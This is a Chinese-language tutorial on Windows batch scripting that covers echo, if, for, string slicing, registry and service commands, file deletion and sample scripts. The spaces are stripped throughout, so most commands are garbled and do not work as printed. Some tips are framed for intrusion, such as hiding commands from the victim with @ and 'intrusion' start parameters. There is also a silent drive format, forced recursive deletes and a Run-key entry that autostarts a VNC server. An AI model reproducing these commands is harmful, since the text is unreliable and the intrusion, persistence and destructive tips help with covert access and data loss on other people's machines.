配色: 字号:
新密中学音乐老师
2021-09-30 | 阅:  转:  |  分享 
  
运行结果

以管理员身份运行?示例.bat?,执行结果如下:

我的常用命令

%cd%[执行的路径]

当前执行的路径,并非目标文件的路径

taskkill/f/imnotepad.exe[终止进程]

taskkill/?打开帮助



cmd窗口中文乱码

在CMD窗口右键/默认值,打开属性选择“默认代码页为简体中文GBK”,



获取命令帮助?xxx/?

遇到记不清楚的命令,但记得名字,就可以键入?命令名空格/?就会有详细的该命令的帮助了,比如:ping/?????cd/?



查看内置命令的帮助信息

ver/?

cmd/?

set/?

rem/?

if/?

echo/?

goto/?

for/?

shift/?

call/?

其他常用的命令

type/?

find/?

findstr/?

copy/?

一、基础语法

1.批处理文件是一个“.bat”结尾的文本文件,这个文件的每一行都是一条DOS命令。可以使用任何文本文件编辑工具创建和修改。

2.批处理是一种简单的程序,可以用if和goto来控制流程,也可以使用for循环。

3.批处理的编程能力远不如C语言等编程语言,也十分不规范。

4.每个编写好的批处理文件都相当于一个DOS的外部命令,把它所在的目录放到DOS搜索路径(path)中,即可在任意位置运行。

5.C:\AUTOEXEC.BAT是每次系统启动时都会自动运行的,可以将每次启动时都要运行的命令放入该文件中。

6.大小写不敏感(命令符忽略大小写)

7.批处理的文件扩展名为.bat或.cmd。

8.在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe来运行该文件。

?

二、参数

1)系统参数

%SystemRoot%===C:\WINDOWS(%windir%同样)

%ProgramFiles%===C:\ProgramFiles

%USERPROFILE%===C:\DocumentsandSettings\Administrator(子目录有“桌面”,“开始菜单”,“收藏夹”等)

%APPDATA%===C:\DocumentsandSettings\Administrator\ApplicationData

%TEMP%===C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp(%TEM%同样)

%APPDATA%===C:\DocumentsandSettings\Administrator\ApplicationData

%OS%===Windows_NT(系统)

%Path%===%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem(原本的设置)

%HOMEDRIVE%===C:(系统盘)

%HOMEPATH%===\DocumentsandSettings\Administrator

::枚举当前的环境变量

setlocalenabledelayedexpansion

FOR/F"usebackqdelims=="%%iIN(`set`)DO@echo%%i!%%i!

?

2)传递参数给批处理文件

%[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。

变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。

Sample:

calltest2.bat"hello""haha"(执行同目录下的“test2.bat”文件,并输入两个参数)

在“test2.bat”文件里写:

echo%1(打印:"hello")

echo%2(打印:"haha")

echo%0(打印:test2.bat)

echo%19(打印:"hello"9)

?

三、批处理基本命令

0.help命令

/?命令

语法:命令/?

可显示此命令的帮助信息

Sample:type/?>>tmp.txt(把type命令的帮助信息写入到tmp.txt文件里)

Sample:helptype(显示跟“type/?”一样)

?

1.Echo命令

语法:echo[{on|off}][message]

ECHO[ON|OFF]打开回显或关闭回显功能。

ECHO显示当前回显设置。

ECHO[message]显示信息。

echooff表示在此语句后所有运行的命令都不显示命令行本身;默认是on,on时会显示如:C:\文件夹路径>命令行。

在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用>>>^)结合来实现输入一些命令到特定格式的文件中。

Sample:echooff

Sample:echohelloworld(显示出“helloworld”)

Sample:echoWindowsRegistryEditorVersion5.00>c:\setupreg.reg(此前还没有setupreg.reg这个文件)

Sample:echo"SourcePath"="D:\\Win2003\\">>c:\setupreg.reg(追加内容进setupreg.reg这个文件)

?

2.@命令

表示不显示@后面的命令,(在入侵过程中自然不能让对方看到你使用的命令啦)

@与echooff相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。

Sample:@echooff(此语句常用于开头,表示不显示所有的命令行信息,包括此句)

Sample:@echopleasewaitaminite...

Sample:@formatX:/q/u/autoset

(format这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

?

3.Goto命令

语法:gotolabel(label是参数,指定所要转向的批处理程序中的行。)

指定跳转到标签行,找到标签行后,程序将处理从下一行开始的命令。

label标签的名字可以随便起,但是最好是有意义的,字母前必须加个冒号“:”来表示这个字母是标签。

goto命令就是根据这个冒号来寻找下一步跳到到那里。经常与if配合使用,根据不同的条件来执行不同的命令组。

例题见“5.Pause命令”

?

4.Rem命令

语法:RemMessage...

(小技巧:用::代替rem)

注释命令,在C语言中相当与/.../,它并不会被执行,只是起一个注释的作用,便于别人阅读和自己日后修改。

Sample:@RemHereisthedescription.

?

5.Pause命令

会暂停批处理的执行并在屏幕上显示Pressanykeytocontinue...的提示,等待用户按任意键后继续

Sample:

@echooff

:begin

copya:.d:\back

echoPleaseputanewdiskintodriverA

pause

gotobegin

在这个例子中,驱动器A中磁盘上的所有文件均复制到d:\back中。

显示的信息提示您将另一张磁盘放入驱动器A时,pause命令会使程序挂起,以便您更换磁盘,然后按任意键再次复制。

?

6.Call命令

语法:call[[Drive:][Path]FileName[BatchParameters]][:label[arguments]]

参数:[Drive:][Path]FileName指定要调用的批处理程序的位置和名称。filename参数必须具有.bat或.cmd扩展名。

调用另一个批处理程序,并且不终止父批处理程序。

如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令。

call命令接受用作调用目标的标签。如果在脚本或批处理文件外使用Call,它将不会在命令行起作用。

Sample:call="%cd%\test2.bat"hahakkkaaa(调用指定目录下的test2.bat,且输入3个参数给他)

Sample:calltest2.batarg1arg2(调用同目录下的test2.bat,且输入2个参数给他)

注:可以调用自身(死循环、递归)

7.start命令

调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。

入侵常用参数:

MIN开始时窗口最小化

SEPARATE在分开的空间内开始16位Windows程序

HIGH在HIGH优先级类别开始应用程序

REALTIME在REALTIME优先级类别开始应用程序

WAIT启动应用程序并等候它结束

parameters这些为传送到命令/程序的参数

Sample:start/MINtest2.batarg1arg2(调用同目录下的test2.bat,且输入2个参数给他,且本窗口最小化)

Sample:e:\"programfiles"\极品列车时刻表\jpskb.exe(文件路径名有空格时)

8.If命令

if表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式:

1)IF

语法:if[not]"参数"=="字符串"待执行的命令

参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)

Sample:if"%1"=="a"formata:

Sample:if{%1}=={}gotonoparms

2)ifexist

语法:if[not]exist[路径\]文件名待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

Sample:ifexistconfig.syseditconfig.sys(表示如果存在这文件,则编辑它,用很难看的系统编辑器)

Sample:ifexistconfig.systypeconfig.sys(表示如果存在这文件,则显示它的内容)

3)iferrorlevelnumber

语法:if[not]errorlevel<数字>待执行的命令

如果程序返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。(返回值必须按照从大到小的顺序排列)

Sample:

@echooff

XCOPYF:\test.batD:\

IFERRORLEVEL1(ECHO文件拷贝失败

)ElseIFERRORLEVEL0ECHO成功拷贝文件

pause

很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),称为错误码errorlevel或称返回码。

常见的返回码为0、1。通过iferrorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令。

4)else

语法:if条件(成立时执行的命令)else(不成立时执行的命令)

如果是多个条件,建议适当使用括号把各条件包起来,以免出错。

Sample:if1==0(echocomment1)elseif1==0(echocomment2)else(echocomment3)

注:如果else的语句需要换行,if执行的行尾需用“^”连接,并且if执行的动作需用(括起来),否则报错

Sample:if1==0(echocomment1)elseif1==0(echocomment2)^

else(echocomment3)

5)比较运算符:

EQU-等于(一般使用“==”)

NEQ-不等于(没有“!=”,改用“ifnot1==1”的写法)

LSS-小于

LEQ-小于或等于

GTR-大于

GEQ-大于或等于

?

9.choice命令

choice使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,

然后配合iferrorlevel选择运行不同的命令。

注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice/?查看用法。

choice使用此命令可以让用户输入一个字符,从而运行不同的命令。

使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

Sample:choice/c:dmedefrag,mem,end

将显示:defrag,mem,end[D,M,E]?

Sample:

choice/c:dmedefrag,mem,end

iferrorlevel3gotodefrag(应先判断数值最高的错误码)

iferrorlevel2gotomem

iferrotlevel1gotoend

10.for命令

for命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

1)for{%variable|%%variable}in(set)docommand[command-parameters]

%variable指定一个单一字母可替换的参数。变量名称是区分大小写的,所以%i不同于%I

在批处理文件中使用FOR命令时,指定变量建议用%%variable而不要用%variable。

(set)指定一个或一组文件。可以使用通配符。

command指定对每个文件执行的命令。

command-parameters为特定命令指定参数或命令行开关。

2)如果命令扩展名被启用,下列额外的FOR命令格式会受到支持:

a.FOR/D%variableIN(set)DOcommand[command-parameters]

如果集里面包含通配符,则指定与目录名匹配,而不与文件名匹配。

b.FOR/R[[drive:]path]%variableIN(set)DOcommand[command-parameters]

检查以[drive:]path为根的目录树,指向每个目录中的FOR语句。

如果在/R后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

c.FOR/L%variableIN(start,step,end)DOcommand[command-parameters]

该集表示以增量形式从开始到结束的一个数字序列。

如:(1,1,5)将产生序列12345;而(5,-1,1)将产生序列(54321)。

d.有或者没有usebackq选项:

FOR/F["options"]%variableIN(file-set)DOcommand

FOR/F["options"]%variableIN("string")DOcommand

FOR/F["options"]%variableIN(command)DOcommand

参数"options"为:

eol=c-指一个行注释字符的结尾(就一个,如“;”)

skip=n-指在文件开始时忽略的行数。

delims=xxx-指分隔符集。这个替换了空格和跳格键的默认分隔符集。

tokens=x,y,m-n-指每行的哪一个符号被传递到每个迭代的for本身。这会导致额外变量名称的分配。

m-n格式为一个范围。通过nth符号指定mth。

如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

usebackq-指定新语法已在下类情况中使用:

在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在filenameset中使用双引号扩起文件名称。

3)Sample:

1.如下命令行会显示当前目录下所有以bat或者txt为扩展名的文件名。

for%%cin(.bat.txt)do(echo%%c)

a.如下命令行会显示当前目录下所有包含有e或者i的目录名。

for/D%%ain(ei)doecho%%a

b.如下命令行会显示E盘test目录下所有以bat或者txt为扩展名的文件名。

for/RE:\test%%bin(.txt.bat)doecho%%b

for/r%%cin()do(echo%%c)::遍历当前目录下所有文件

c.如下命令行将产生序列12345

for/L%%cin(1,1,5)doecho%%c

d.以下两句,显示当前的年月日和时间

For/f"tokens=1-3delims=-/."%%jIn(''Date/T'')doecho%%j年%%k月%%l日

For/f"tokens=1,2delims=:"%%jIn(''TIME/T'')doecho%%j时%%k分

e.把记事本中的内容每一行前面去掉8个字符

setlocalenabledelayedexpansion

for/f%%iin(zhidian.txt)do(

setatmp=%%i

setatmp=!atmp:~8!

if{!atmp!}=={}(echo.)elseecho!atmp!

)

::读取记事本里的内容(使用delims是为了把一行显示全,否则会以空格为分隔符)

for/f"delims="%%ain(zhidian.txt)doecho.%%a

4)continue和break

利用goto实现程序中常用的continue和break命令,其实非常简单

continue:在for循环的最后一行写上一个标签,跳转到这位置即可

break:在for循环的外面的下一句写上一个标签,跳转到这位置即可

Sample:(伪代码)

for/F["options"]%variableIN(command)DO(

...docommand...

if...gotocontinue

if...gotobreak

...docommand...

:continue

)

:break

?

四、其它命令

1.ping命令

测试网络联接状况以及信息包发送和接收状况。但是不能够测试端口。

语法:pingIP地址或主机名[-t][-a][-ncount][-lsize]

参数含义:

-t不停地向目标主机发送数据;

-a以IP地址格式来显示目标主机的网络地址;

-ncount指定要Ping多少次,具体次数由count来指定;

-lsize指定发送到目标主机的数据包的大小。

Sample:ping192.168.0.1-t(不停的测试192.168.0.1,按ctrl+c停止)

Sample:for/L%%ain(0,1,255)doping192.168.0.%%a-n1>>tmp.txt(ping一下所有的局域网电脑)

2.telnet命令

测试端口使用telnetIP地址或主机名端口,使用tcp协议的

Sample:telnet192.168.0.180(测试192.168.0.1的80端口)

3.color命令

设置背景及字体颜色

语法:colorbf

b是指定背景色的十六进制数字;f指定前景颜色(即字体颜色)。

颜色值:0:黑色1:蓝色2:绿色3:湖蓝4:红色5:紫色6:7:白色

8:灰色9:淡蓝A:淡绿B:浅绿C:淡红D:淡紫E:淡黄F:亮白

如果没有给定任何参数,该命令会将颜色还原到CMD.EXE启动时的颜色。

如果两参数一样,视为无效输入。只有一个参数时,设置字体。

4.random命令

产生随机数(正整数0~)

5.exit命令

结束程序。即时是被调用的程序,结束后也不会返回原程序

6.shutdown命令

shutdown-s关机

五、字符串处理

1)分割字符串,以查看时间为例

%源字符串:~起始值,截取长度%(起始值从0开始;截取长度是可选的,如果省略逗号和截取长度,将会从起始值截取到结尾;

截取长度如果是负数,表示截取到倒数第几个。)

"%time%"显示如:"11:04:23.03"(完整的时间"hh:mm:ss.tt")

"%time:~0,5%"显示"hh:mm"(即"11:04"),其中0表示从右向左移位操作的个数,5表示从左向右移位操作的个数

"%time:~0,8%"显示标准时间格式"hh:mm:ss"(即"11:04:23",前8个字符串)

"%time:~3,-3%"显示"mm:ss"(即从第4个开始,截去最后3个的字符串)

"%time:~3%"显示"04:23.03"(即去掉前4个字符串)

"%time:~-3%"显示".tt"(即最后3个字符串)

上面的字串分割格式,也可以用于其它地方,如目录路径:"%cd:~0,10%"

2)替换字符串

seta="abcd1234"

echo%a%显示:"abcd1234"

seta=%a:1=kk%替换“1”为“kk”

echo%a%显示:"abcdkk234"

3)字符串合并

由于没有直接的字符串合并函数,只能用笨方法了。

setstr1=%str1%%str2%(合并str1和str2)

4)计算字符串长度

没有现成的函数。如下程序利用goto形成循环,不断将字符串截短1,并记录截短的次数,到字符串变成空时的次数即长度。

settestStr=Thisisateststring

::将testStr复制到str,str是个临时字符串

setstr=%testStr%

::标签,用于goto跳转

:next1

::判断str是不是空,如果不是则执行下边的语句

ifnot"%str%"==""(

::算术运算,使num的值自增1,相当于num++或者++num语句

set/anum+=1

::截取字符串,每次截短1

set"str=%str:~1%"

::跳转到next1标签:这里利用goto和标签,构成循环结构

gotonext1

)

::当以上循环结构执行完毕时,会执行下边的语句

echotestStr=%testStr%

echotestStr的长度为:%num%

5)截取字符串时,需要传递参数

直接echo%args:~%num%,-5%没办法想要的字符串,需要如下两步

setlocalenabledelayedexpansion

echo!args:~%num%,-5!

?

六、注册表操作

1)备份注册表,将[HKEY_LOCAL_MACHINE...Run]的内容,备份到“c:\windows\1.reg”

regexportHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Runc:\windows\1.reg

regexportHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runc:\windows\2.reg

2)修改/添加注册表内容

a.一般的添加或修改

regadd"HKCU\Environment"/vJava_Home/treg_sz/d"D:\Java\jdk1.6.0_07"/f

上句解析:“HKCU”是“HKEY_CURRENT_USER”的缩写,不用缩写用全称也可以;

添加名称为“Java_Home”的变量;类型为“reg_sz”,另一种常见类型是“reg_dword”;值为D:\Java\jdk1.6.0_07;

b.使用变量

setSoftWareHome=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java

regadd"%SoftWareHome%WebStart\1.6.0_07"/vHome/treg_sz/d"%cd%\jre1.6.0_07\bin"/f

c.如果注册表的名称有空格,或者数据用特殊符号时

regadd"%SoftWareHome2%\HelpCommands"/v"01:OnlineDocumentation"/treg_sz/d"\"%cd%\Documentation\Index.htm\""/f

传入值为(值用双引号括起来的):"D:\ProgramFiles\1.work_soft\Sybase\PowerDesigner_12\Documentation\Index.htm"

regadd"%SoftWareHome2%\Paths"/vReportTemplates/treg_sz/d"%cd%\ResourceFiles\ReportTemplates\\"/f

传入值为(“\”结尾的):E:\Holemar\1.notes\90.Windows\ResourceFiles\ReportTemplates\

d.增加空的内容

regadd"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SharedTools\MSConfig\startupreg\IMJPMIG8.1"

e.添加或修改默认值

regadd"%vpath%InstallPath"/ve/treg_sz/d"%cd%"/f

这里用“/ve”来代替一般修改时的“/v变量名”,即可修改默认值了

3)删除注册表的内容

双引号里面的是注册表的目录,下面两句将删除这目录下的所有信息

regdelete"HKEY_CURRENT_USER\Software\RealVNC"/f

regdelete"HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC"/f

双引号里面的是注册表的目录,下面一句将删除这目录下指定的某个信息

regdelete"HKEY_LOCAL_MACHINE\Software\RealVNC"/vVNC_Server/f

4)注册表的常用位置

a.系统启动项:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

example:REGADDHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run/vVNC_Server/tREG_SZ/d"%cd%\VNC_Server.bat"/f

b.系统环境变量:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Environment]

c.当前用户的环境变量:

[HKEY_CURRENT_USER\Environment]

5)修改注册表之后,结束并重新加载explorer.exe进程,可刷新注册表,令其生效

taskkill/f/imexplorer.exe>nul

start"""explorer.exe"

?

七、系统服务

1)停止服务:NETSTOP服务名

启动服务:NETStart服务名

2)设置启动类型

自动:SCCONFIG服务名START=auto

手动:SCCONFIG服务名START=demand

已禁用:SCCONFIG服务名START=disabled

附:“START=”等号后面必须要有一个空格。(start还有boot,system两个值)

Sample:SCCONFIGSpoolerSTART=demand(打印机加载项,设置成手动,默认自动)

3)查看系统服务:start%SystemRoot%\system32\services.msc/s

?

八、setlocal与变量延迟

0)在没有开启变量延迟的情况下,某条命令行中的变量改变,必须到下一条命令才能体现。

另外例如for命令等,其后用一对圆括号闭合的所有语句也当作一行。

example:

seta=4

seta=5&echo%a%

结果:4

也可以对这种机制加以利用,如下的变量交换

example:

setvar1=abc

setvar2=123

echo交换前:var1=%var1%var2=%var2%

setvar1=%var2%&setvar2=%var1%

echo交换后:var1=%var1%var2=%var2%

1)启动批处理文件中环境变量的本地化。本地化将持续到出现匹配的endlocal命令或者到达批处理文件结尾为止。

语法:setlocal{enableextension|disableextensions}{enabledelayedexpansion|disabledelayedexpansion}

enableextension:启用命令扩展,直到出现匹配的endlocal命令,无论setlocal命令之前的设置如何。

disableextensions:禁用命令扩展,直到出现匹配的endlocal命令,无论setlocal命令之前的设置如何。

enabledelayedexpansion:启用延迟的环境变量扩展,直到出现匹配的endlocal命令,无论setlocal命令之前的设置如何。

disabledelayedexpansion:禁用延迟的环境变量扩展,直到出现匹配的endlocal命令,无论setlocal命令之前的设置如何。

?

2)为了能够感知环境变量的动态变化,批处理设计了变量延迟。简单来说,在读取了一条完整的语句之后,不立即对该行的变量赋值,而会在某个单条语句执行之前再进行赋值,也就是说“延迟”了对变量的赋值。

examle:

setlocalenabledelayedexpansion

seta=4

seta=5&echo!a!

结果:5

变量延迟的启动语句是“setlocalenabledelayedexpansion”,并且变量要用一对叹号“!!”括起来

由于启动了变量延迟,所以批处理能够感知到动态变化,即不是先给该行变量赋值,而是在运行过程中给变量赋值,因此此时a的值就是5了

另外,启动变量延迟,“%”的变量还是不变

example2:

setlocalenabledelayedexpansion

for/l%%iin(1,1,5)do(

seta=%%i

echo!a!

)

结果,打印从1到5;如果不变量延迟,一个变量也没有打印

?

九、文件处理

1.删除

1)删除一个文件或多个文件

del/s/q/fd:\test\a.bat

将直接删除d:\test\a.bat,没有任务提示

deltemp\/q/f/s

将直接删除本目录的temp目录的所有文件,没有任务提示

删除文件的时候可以使用“”作通配符

2)删除一个空目录

rd/q/sd:\test\log

将直接删除d:\test\log目录,如果log目录里面有文件将无法删除

3)删除一个非空目录(必须指定目录名称)

rmdir/q/sd:\test\logs

必须指定目录名称,不能使用通配符

/S除目录本身外,还将删除指定目录下的所有子目录

/Q安静模式,带/S删除目录树时不要求确认

无论里面是否有文件或文件夹将全部直接删除

2.创建目录

MKDIR[drive:]path

MD[drive:]path

路径有空格时,可以用双引号括起来,也可以用 替代

实践部分:

======================================================================

?

小摘录:

1.调用其他程序时,对文件的大小写不敏感,文件后缀也可忽略

如:startLeapFTP.exe与startleapftp效果一样,都是运行“LeapFTP.exe”文件

每行的开头的字符串会自动查找程序来运行,还可用双引号引起来(文件名或目录名含空格时必须用)

如:"D:\ProgramFiles\LeapFTP.exe"

"LeapFTP.exe"可正常运行文件,start"""LeapFTP.exe"也可以正常运行文件(注意,第一个参数是窗口显示的标题)

3.copyC:\test\.D:\back(复制C盘test文件夹的所有文件(不包括文件夹及子文件夹里的东西)到D盘的back文件夹)

4.dirc:\.>a.txt(将c盘文件列表写入a.txt中)

5.>生成文件并写入内容(如果有这文件则覆盖),>>文件里追加内容

6.mdd:\aa(创建文件夹)

7.在命令末尾加上“>NUL2>NUL”,表示隐蔽返回信息。

8.等待用户输入:set/p变量名=屏幕显示信息。Sample:set/ppass=请输入密码:

9.让用户按回车退出

小技巧(替代pause),文件的最后一句:set/ptmp=操作结束,请按回车键退出...

10.设置标题:titleJDK安装

11.设置屏幕显示颜色,如绿色:color0a

12.清屏:cls

13.查看自己的IP:

for/f"tokens=15"%%iin(''ipconfig^|find/i"ipaddress"'')dosetip=%%i

echo%ip%(这时的%ip%就是自己的IP地址)

?

14.修改文件的更新日期

copy文件名+,,>nul(修改为当前时间,如果要修改为指定时间,先修改系统时间,再改回系统时间)

15.修改文件的后缀名

renC:\test\.jpg.JPG

for/r%%cin(.jpg)do(ren%%c.JPG)::修改当前目录下的所有文件的后缀名,包括子目录的

16.修改文件的文件名

renametest.jpgtest2.JPG

rename.jpg.888.JPG

17.查看DNS、IP、Mac等

1)Win98:winipcfg

2)Win2000以上:Ipconfig/all

3)NSLOOKUP

18.查看IP上的共享资源,就可以

netview192.168.10.8

19.共享

A.查看你机器的共享资源:netshare

B.手工删除共享

netshare共享资源名称$/d

注意$后有空格。

C.增加一个共享:

netsharemymovie=e:\downloads\movie/users:3

mymovie共享成功。同时限制链接用户数为3人。

20.打开某网站

startiexplore.exe?http://www.baidu.com

?

实例

1.生成reg文件,运行它,再删除它

echo"更改windows安装文件的路径"

echoWindowsRegistryEditorVersion5.00>c:\setupreg.reg

echo[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup]>>c:\setupreg.reg

echo"ServicePackSourcePath"="D:\\Win2003\\">>c:\setupreg.reg

echo"SourcePath"="D:\\Win2003\\">>c:\setupreg.reg

::写入注册表

regedit/Sc:\setupreg.reg

::删除注册表文件

delc:\setupreg.reg

?

2.调用了exe文件,结束后没有关闭,解决方法

用start命令运行文件,如:

startLeapFTP.exe192.168.0.100

?

3.设置系统环境变量

::有这个环境变量,则不需再设置,直接结束

ifnot"%JAVA_HOME%"==""exit

::设置环境变量的地址

setinputJavaHome=%cd%\jdk1.6.0_07

::设置环境变量,也可以设置当前用户的变量

setEnvironmentHome=HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Environment

echo正在设置环境变量,请稍候......

regadd"%EnvironmentHome%"/vJAVA_HOME/treg_sz/d"%inputJavaHome%"/f

regadd"%EnvironmentHome%"/vClassPath/treg_sz/d".;%%JAVA_HOME%%\lib"/f

regadd"%EnvironmentHome%"/vPath/treg_sz/d"%%JAVA_HOME%%\bin;%Path%"/f]

::刷新,令环境变量生效

taskkill/f/imexplorer.exe>nul

start"""explorer.exe"

?

4.隐藏某目录的所有文件及文件夹

cd/d要隐藏的目录(如:D:)

for/f"usebackqdelims="%%Ain(`dir/a/b`)do(attrib"%%A"-r+h-s)

?

5.在批处理中使用密码。密码为admin,输入正确,跳转到next1,若输入密码错误3次,则锁屏。。

@echooff

setnum=0

:11

set/ppass=请输入密码:

if"%pass%"=="admin"gotonext1

set/anum=%num%+1

if%num%==3gotono1

goto11

:no1

%windir%\system32\rundll32.exeuser32.dll,LockWorkStation

goto11

:next1

echo密码正确,执行下面的程式

pause

?

6.清空回收站(未成功)

@echooff

del/f/s/qc:\recycler\.

::刷新屏幕

taskkill/f/imexplorer.exe>nul

start"""explorer.exe"

?

7.让系统断断续续地鸣叫

@echooff

:begin

::发出鸣叫(“”实际就是ASCII码值为7的特殊字符(蜂鸣键beep)

echo

::让程序暂停一小阵子

ping-n1-l1127.1>nul

goto:begin

8.将FAT卷转换成NTFS

利用“CONVERT.exe”进行,解析如下:

CONVERTvolume/FS:NTFS[/V][/CvtArea:filename][/NoSecurity][/X]

volume指定驱动器号(后面跟一个冒号)、装载点或卷名。

/FS:NTFS指定要被转换成NTFS的卷。

/V指定Convert应该用详述模式运行。

/CvtArea:filename

将根目录中的一个接续文件指定为NTFS系统文件的占位符。

/NoSecurity指定每个人都可以访问转换的文件和目录的安全设置。

/X如果必要,先强行卸载卷。该卷的所有打开的句柄则无效。

?

程序如下:

@ECHOOFF

@ECHO.

@ECHO.说明

@ECHO--------------------------------------------------------------------------

@ECHONTFS是一种磁盘格式。该格式能存放大于4G的单个文件(如高清电影文件),并可对

@ECHO文件夹进行加密,但有个缺点是DOS下无法访问。建议D盘及其后的盘使用NTFS格式,

@ECHOC盘如非必要可以不转换,FAT32与NTFS这两种格式的读写速度几乎是没有差别的。

@ECHO--------------------------------------------------------------------------

@ECHO.

convertc:/fs:ntfs

::D盘也转成NTFS

convertd:/fs:ntfs

?

9.获取我的文档

SETSF="HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders"

FOR/F"tokens=2,"%%IIN(''REGQUERY%SF%/vPersonal2^>NUL^|FIND/I"Personal"'')DOSET"myDoc=%%~J"

::复制文件到我的文档

XCOPY/D/E/R/Y/C"%cd%\test.txt""%myDoc%\test\"

10获取当前目录路径

cd./

setCURR_PATH=%cd%

==========================================

实例:

3.IF-ERRORLEVEL

@ECHOOFF

XCOPYC:\AUTOEXEC.BATD:IFERRORLEVEL1ECHO文件拷贝失败

IFERRORLEVEL0ECHO成功拷贝文件

?

如果文件拷贝成功,屏幕就会显示“成功拷贝文件”,否则就会显示“文件拷贝失败”。

IFERRORLEVEL是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,而且返回值必须依照从大到小次序顺序判断。因此下面的批处理文件是错误的:

@ECHOOFF

XCOPYC:\AUTOEXEC.BATD:\

CHO成功拷贝文件

IFERRORLEVEL1ECHO未找到拷贝文件

IFERRORLEVEL2ECHO用户通过ctrl-c中止拷贝操作

IFERRORLEVEL3ECHO预置错误阻止文件拷贝操作

IFERRORLEVEL4ECHO拷贝过程中写盘错误

无论拷贝是否成功,后面的:

未找到拷贝文件

用户通过ctrl-c中止拷贝操作

预置错误阻止文件拷贝操作

拷贝过程中写盘错误

都将显示出来。

以下就是几个常用命令的返回值及其代表的意义:

backup

0备份成功

1未找到备份文件

2文件共享冲突阻止备份完成

3用户用ctrl-c中止备份

4由于致命的错误使备份操作中止

diskcomp

0盘比较相同

1盘比较不同

2用户通过ctrl-c中止比较操作

3由于致命的错误使比较操作中止

4预置错误中止比较

diskcopy

0盘拷贝操作成功

1非致命盘读/写错

2用户通过ctrl-c结束拷贝操作

3因致命的处理错误使盘拷贝中止

4预置错误阻止拷贝操作

format

0格式化成功

3用户通过ctrl-c中止格式化处理

4因致命的处理错误使格式化中止

5在提示“proceedwithformat(y/n)?”下用户键入n结束

xcopy

0成功拷贝文件

1未找到拷贝文件

2用户通过ctrl-c中止拷贝操作

4预置错误阻止文件拷贝操作

5拷贝过程中写盘错误

?

=============================================================

@echooff//不显示shell的命令。

Setlocal//环境改变只适用于这个文件。

%OS%//为当前的操作系统。

Rem//注释一行文本。

Goto标签//改变执行顺序,去标签位置.

:标签//定义一个标签。

Set变量名=值//定义变量

Not//取反

Netstat–na//显示当前被点用的端口.

%0%1%2//用于表示批处理文件的参数0为命令,共1-9个参数。

Shift//用于向前一个参数,原1变0,原2变1.每调用一次shift向前一移动一位。

Call//调用其他批处理文件或命令。

Start命令参数//指示出在另一个窗口中开始运行命令。

=============================================================

::这段批处理程序可以自动设置Java环境变量

?

@echooff

IFEXIST%1\bin\java.exe(

rem如输入正确的Java2SDK安装目录,开始设置环境变量

@setxJAVA_HOME%1

@setxpath%path%;%JAVA_HOME%\bin

@setxclasspath%classpath%;.

@setxclasspath%classpath%;%JAVA_HOME%\lib\tools.jar

@setxclasspath%classpath%;%JAVA_HOME%\lib\dt.jar

@setxclasspath%classpath%;%JAVA_HOME%\jre\lib\rt.jar

@echoon

@echoJava2SDK环境参数设置完毕,正常退出。

)ELSE(

IF"%1"==""(

rem如没有提供安装目录,提示之后退出

@echoon

@echo没有提供Java2SDK的安装目录,不做任何设置,现在退出环境变量设置。

)ELSE(

rem如果提供非空的安装目录但没有bin\java.exe,则指定的目录为错误的目录

@echoon

@echo非法的Java2SDK的安装目录,不做任何设置,现在退出环境变量设置。

)

)

?

可能遇到问题

中文乱码

把bat文件的编码改为ANSI,UTF-8在win10我这儿会中文显示乱码



批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT。1、REMREM是个注释命令一般是用来给程序加上注解的,该命令后的内容在程序执行的时候将不会被显示和执行。例:REM你现在看到的就是注解,这一句将不会被执行。在以后的例子中解释的内容都REM会放在REM后面。请大家注意。

2、ECHOECHO是一个回显命令主要参数有OFF和ON,一般用ECHOmessage来显示一个特定的消息。例:EchooffRem以上代表关闭回显即不显示所执行的命令Echo这个就是消息。Rem以上代表显示"这就是消息"这列字符执行结果:C:\>ECHO.BAT这个就是消息。

